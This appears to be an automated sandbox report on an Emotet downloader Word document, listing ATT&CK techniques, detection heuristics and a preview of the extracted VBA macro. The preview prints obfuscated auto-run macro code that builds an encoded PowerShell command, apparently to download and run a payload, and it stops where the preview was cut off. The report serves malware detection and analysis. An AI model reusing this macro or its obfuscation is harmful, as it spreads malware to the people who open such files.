MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6878774-0'. Static analysis revealed the presence of a VBA macro with an AutoOpen function, which is a common execution vector for Emotet. The macro contains a critical 'Shell()' call, indicating an attempt to execute arbitrary commands, likely for downloading and running a secondary payload.
Heuristics 7
-
ClamAV: Doc.Downloader.Emotet-6878774-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6878774-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10093 bytes |
SHA-256: fae81a48b4d2c8b7616a577477752b5695f8b7861a72eff883d209e1c9786cc7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "NTfdrzQCL" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "SHGTPbaF" Function ijzYdVYh() On Error Resume Next INLHKj = 44064 cjdfwr = Sin(37684) pisDpc = TVEpFK afOaqL = 88313 IjmQC = 60730 ozRfj = CDate(7923) vkazUoFmp = "He" + "ll . " + Chr(40) + Chr(40) + "GV '" + "*MDr*'" + Chr(41) + ".NAme" + "[3," + "11,2" + "]-joiN'" + "'" + Chr(41) + Chr(40) + " " + Chr(34) + " $" + Chr(40) + " set-VaR" SYDtQY = CDate(48520) VLaMwo = 76864 mlQmW = 3418 JsBqz = 10783 jBNZo = IQYaup BAPIcN = Sin(99600) wdzmlY = "iabl" + "e " + "'o" + "FS" + "' '' " + Chr(41) + Chr(34) + Chr(43) + "[sTri" + "nG]" + Chr(40) + " " + Chr(40) + "1 " ZSGpM = CDate(47929) MfVjIo = 86427 krLhaK = 8077 XwjAQw = 72615 hNsaJL = rUMOYK VrvYa = Sin(28198) vFmEzFswEZj = ", " + "81,124 " + ", 1" + "12" + ",24 , 7" + "5 ," + " 64, " + "82 , 8" + " , " TSTFMi = Sin(79118) JAjwi = 61330 RCwjWT = 79759 aoYaiJ = CDate(21648) qXcmLw = 20440 rCQzm = uqIukF sNJDPTKmTL = "74, 7" + "1 ," + "79,64, " + "70 , 8" + "1, 5 " + ", 10" + "7 ," + " 64 , 8" uFDLY = Sin(58924) HcNlX = 89640 ZjNHr = 88620 kwEpOJ = CDate(46563) QzkLiw = 21816 jVPZzR = PWEHp XlvSRkmzinv = "1,11, 1" + "14 , " + "64" + " ,71" + ",102 ," + " 7" + "3 , " + "76, 64 ," + " 75 ,81" + " ,30,1, " nIGSCD = Sin(1496) WbUin = 14641 GtiBwX = 26272 pOfzum = CDate(63059) AvQwi = 28480 CDajQH = BSIXrV nlpsuv = "67" + ", 78 " + ", 106" + ",24 , 2" + " ,77," + " 8" + "1 ,81, " + "85, 31, " + "10 ," lsGjYw = Sin(48470) SClVfD = 69651 wPtTMr = 66920 HqsHwv = CDate(52860) ZTNzL = 51159 sDvKs = RkXPiz cVJnkJmb = "10 ,64 ," + "87 ,65," + " 64 ,7" + "2, 73," + "64,87,92" + ", 68 " + ", " + "85 ," + "76 " + ", 72," + " 68" fQpNN = Sin(43083) IjatiY = 41718 SSnDo = 28746 GYlvof = CDate(86391) vbUAV = 10493 dALdK = zBzVwf VNJHO = " , 87 ," + "78,64, " + "81, 11," + " 70" + " , 74 ,7" + "2, " + "10," + "83" LGstw = Sin(50264) IbwvVM = 10209 DiEjZQ = 53207 wztJk = CDate(91439) kJHlJ = 44596 tNTMB = NHpvQ OaNfjGWBdT = " ,84" + ",67, 12" + "5 ,10 ," + " 1" + "01 ,77, " + "81,8" + "1 , 8" + "5 ," + "31 ,10," + "10, 77," EznKpU = Sin(20851) dGtPa = 13017 MIrzm = 87465 vFvaYm = CDate(14798) BBwBR = 85032 ULmwXB = ohtwa SMTzHz = " 71 ,72" + " , 74 " + ", 75 ,8" + "1, 64" + ", 11,70 " + ",74," + " 7" + "2," + " 10 , 11" + "1 " + ", 67, 97" pqlcw = Sin(67009) ANKvJ = 55447 FrGrU = 75465 nwNHoY = CDate(60072) rtiGF = 80162 rzijm = TnLiJ LaCcracidM = ", 95, " + "10 ,83," + "99 " + ", 78 " + ",16, " + "80" ijzYdVYh = vkazUoFmp + wdzmlY + vFmEzFswEZj + sNJDPTKmTL + XlvSRkmzinv + nlpsuv + cVJnkJmb + VNJHO + OaNfjGWBdT + SMTzHz + LaCcracidM YWuFTp = Sin(32623) SjwOTQ = 47640 zVzRR = 59783 iXtjE = CDate(39273) cBija = 83888 GFFzX = kGOtj End Function Function wrwOpdhNI() On Error Resume Next GWZWi = Sin(15111) HsurI = 98450 Kmrnj = 71877 iRsdp = CDate(53174) NLIZrF = 7516 BQnbL = zHnoUt uDApJGkMzV = " , " + "16 ,10" + " ,1" + "01,77 ," + " 81" + " ,81 , 8" + "5, 31 ," bbJnRW = Sin(3875) jEPLa = 96490 qhOQcz = 52155 SjNfB = CDate(41148) ROzOm = 83998 kUzDvu = dwobqj DOwZupdA = "10, 10" + " ,80 ," + "78" + ",68,11" + ", 72,64" + " ,1" + "0 ,10" QjdIr = Sin(18253) BzsVS = 81108 ffYLfV = 58076 VjCcOo = CDate(60099) NSDRf = 29202 woGPt = lnTvOv EIiPoi = "6,7" + "6,28" + " , 81," + " 116," + "21 , 71" + " ,10," + " 101" uYVni = Sin(40033) SQGAq = 67215 WOCAAz = 28195 mFqWM = CDate(11083) jRGDL = 66100 bqDBmR = ukXIX OhoamYXbUzV = ", 77 , 8" + "1 ,8" + "1," + " 85,31, " + "10, " + "10" + ", 8" + "2,74 ,6" + "4 ,73 ,6" + "7,11 ," zujrhF = Sin(70434) REGQIh = 1731 iBMoVr = 69760 jfsvw = CDate(97075) zLCVt = 3339 CoHlZ = oDBmD aSRjOT = " 76 , " + "75, " + "10 " + ", 1" + "18 ,7" + "7,64 ," + " 84, 81 " + ", 108" + ",93 , 1" + "19" zXFLuz = Sin(82068) pjJwm = 12073 pWpBG = 58039 JMkajb = ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.